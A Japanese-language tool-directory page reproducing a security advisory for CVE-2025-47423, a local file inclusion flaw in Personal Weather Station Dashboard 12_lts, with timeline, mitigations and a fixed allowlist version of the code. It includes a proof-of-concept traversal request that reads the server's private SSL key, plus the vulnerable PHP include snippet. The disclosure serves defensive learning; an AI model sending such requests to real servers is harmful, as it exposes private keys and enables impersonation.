Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-47423 — CVE-2025-47423の詳細な開示:Personal Weather Station Dashboard 12_ltsにおけるローカルファイルインクルージョン。PoC、脆弱なコードの分析、防御的学習のための安全な修正推奨事項を含む。 | Kitploit
ツール/GitHubGitHub/haluka92/cve-2025-47423
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育厳選リソース
GitHubhaluka92/cve-2025-47423

CVE-2025-47423

CVE-2025-47423の詳細な開示:Personal Weather Station Dashboard 12_ltsにおけるローカルファイルインクルージョン。PoC、脆弱なコードの分析、防御的学習のための安全な修正推奨事項を含む。

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-47423 – Personal Weather Station Dashboard (12_lts) におけるローカルファイルインクルージョン

発見者: Matthew Eagle
ステータス: 公開開示
報告日: 2025-05-05
CVE ID: CVE-2025-47423


🧩 概要

Personal Weather Station Dashboard バージョン 12_lts におけるローカルファイルインクルージョン (LFI) 脆弱性により、認証されていないリモート攻撃者がサーバー上の任意のファイルを読み取ることが可能になります。この欠陥を悪用すると、秘密 SSL キーを含む機密ファイルへのアクセスが可能となり、HTTPS 接続の機密性と完全性が損なわれる可能性があります。


🛠 影響を受けるコンポーネント

  • ファイル: /others/_test.php
  • 脆弱なパラメータ: test (GET 経由)

📈 影響

この欠陥により、リモート攻撃者は以下が可能になります:

  • ファイルシステム上の任意のファイルを読み取る
  • 秘密 SSL キー (例: server.key) を露出させる
  • 中間者 (MITM) 攻撃を実行する
  • HTTPS サーバーを偽装する

CVSS: 5.8 中程度


💥 概念実証 (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

レスポンス:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 脆弱なコード (簡略化)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

str_replace はディレクトリトラバーサルを防ぐには不十分です。


🔐 安全な修正

  • インクルード対象には厳格な許可リストを使用する
  • basename() で入力をサニタイズし、許可されたファイルと照合する
  • ユーザー入力に基づく動的なインクルードを避ける
$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 タイムライン

日付イベント
2025-05-05脆弱性を PWS Dashboard モデレーターに報告
2025-05-06確認応答およびテストの実施を確認
2025-05-07MITRE 経由で CVE-2025-47423 を予約
2025-06-07公開パッチおよび CVE リスト登録を確認

🧠 緩和策

Personal Weather Station Dashboard 12_lts を運用している場合は、以下を実施してください:

  • 直ちに _test.php を削除または更新する
  • ファイルのホワイトリストを用いた修正済みスクリプトを実装する
  • 侵害された可能性のある TLS 証明書をローテーションし再発行する

🧾 参考資料

  • MITRE の CVE-2025-47423 (保留中)
  • GitHub に投稿されたアドバイザリ

🙏 クレジット

脆弱性は Matthew Eagle によって発見され、責任ある方法で開示されました
連絡先: [email protected]


責任ある開示ガイドラインに従って調整された開示です。この文書は教育および防御目的で公開されています。

ツールをダウンロード